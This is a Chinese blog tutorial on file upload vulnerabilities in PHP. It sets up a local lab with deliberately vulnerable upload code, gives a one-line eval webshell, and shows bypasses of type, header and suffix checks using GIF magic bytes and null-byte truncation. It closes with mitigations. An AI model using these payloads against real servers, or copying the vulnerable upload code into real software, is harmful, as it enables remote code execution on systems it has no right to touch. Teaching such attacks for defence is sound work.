3、任意文件上传漏洞

本文详细阐述了文件上传漏洞的原理、利用方法,包括利用PHP脚本执行、XSS攻击、拒绝服务,以及如何通过文件类型、头限制和后缀追加进行漏洞绕过。同时,文中还探讨了漏洞挖掘的常见位置和针对此类漏洞的防御措施。
摘要由CSDN通过智能技术生成

1、概述

定义: 文件上传漏洞( Unrestricted File Upload)网站上传功能过滤不严格,导致用户可通过上传文件对系统造成危害。

上传服务端可解析的脚本文件造成远程代码执行、上传超大文件造成拒绝服务、上传Html文件引发XSS等。

分类: Web通用漏洞

风险等级: 严重/中危

危害:上传文件Getshell/上传HTML文件实现XSS攻击、上传超大文件引发拒绝服务等

2、漏洞原理+利用

漏洞示例:

在本地的phpstudy中搭建一个简单的靶场

<html>
<form action="http://127.0.0.1/upload.php"
method="POST" enctype="multipart/form-data">
<input name="a" type="file"></input>
<input name="b" ></input>
<input type="submit"></input>
</form>
</html>
<?php
var_dump($_POST['b']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"
./upload/" . $_FILES["a"]["name"]);
?>

需要在同目录下创建一个upload文件夹

漏洞利用:

上传一个一句话木马,然后用蚁剑远程连接。

<?php eval($_POST['1'])?>
  • 通过上传GetShell。对于服务器直接支持解析的文件格式,只需要上传该后缀的文件即可。这种
    情况下的漏洞也被称作任意文件上传。
  • 通过上传实现XSS攻击。上传HTML文件时,在其中插入XSS代码实现XSS攻击。
  • 通过上传实现服务器拒绝服务。上传超大文件,或当服务器自动执行解压操作时,上传畸形的压
    缩包文件实现拒绝服务。

文件上传+环境解析 = WebShell
文件上传+任意路径控制 = 文件覆盖(WebShell)
文件上传 - 环境解析 - 路径控制 = XSS
文件上传-环境解析+无大小限制=拒绝服务

3、漏洞绕过

文件类型限制:

<?php
if($_FILES['a']['type'] != "image/gif")
{
    die("Sorry,we only allow uploading GIF images");
}    
?>

绕过:

------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"; filename="filename.php"
Content-Type: text/php image/gif
file_content <?php eval($_GET['a'])?>
------WebKitFormBoundaryU1lrzLiplUyRrlHJ

文件头限制:

<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$filename = '1.php';
echo finfo_file($finfo,$filename);
?>

绕过:

添加一个GIF(也就是可以上传到服务器上的文件类型)的文件头就可以。

47494638 39613804 A005F700 00000000   |   GIF89a8
0509080A 09050B0C 0B120E0D 0E0F100F   |
11101211 0E131313 1A151316 16191719   |

文件后缀追加限制:

<?php
var_dump($_POST['a']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"./upload" .$_POST['a'].'.jpg');
?>

绕过:

使用%00截断。 要求:PHP版本 < 5.3.4
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"
1.php0x00
------WebKitFormBoundaryU1lrzLiplUyRrlHJ

条件竞争: 恶意文件上传后被检测到立马被删除,攻击者在他被删除前使用自动化工具快速频繁的请求该文件。

4、漏洞挖掘

一般都在可以上传文件的位置,像上传头像照片等。

5、漏洞防御

1.严格限制上传文件后缀

2.对于无法限制文件后缀的情况,可以严格限制上传目录(防御../跳出目录),
同时将该目录设置为不可解析(octet-stream)。将其他目录设置为不可写入。

3.使用分站存储上传文件,分站不开启脚本资源解析。

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值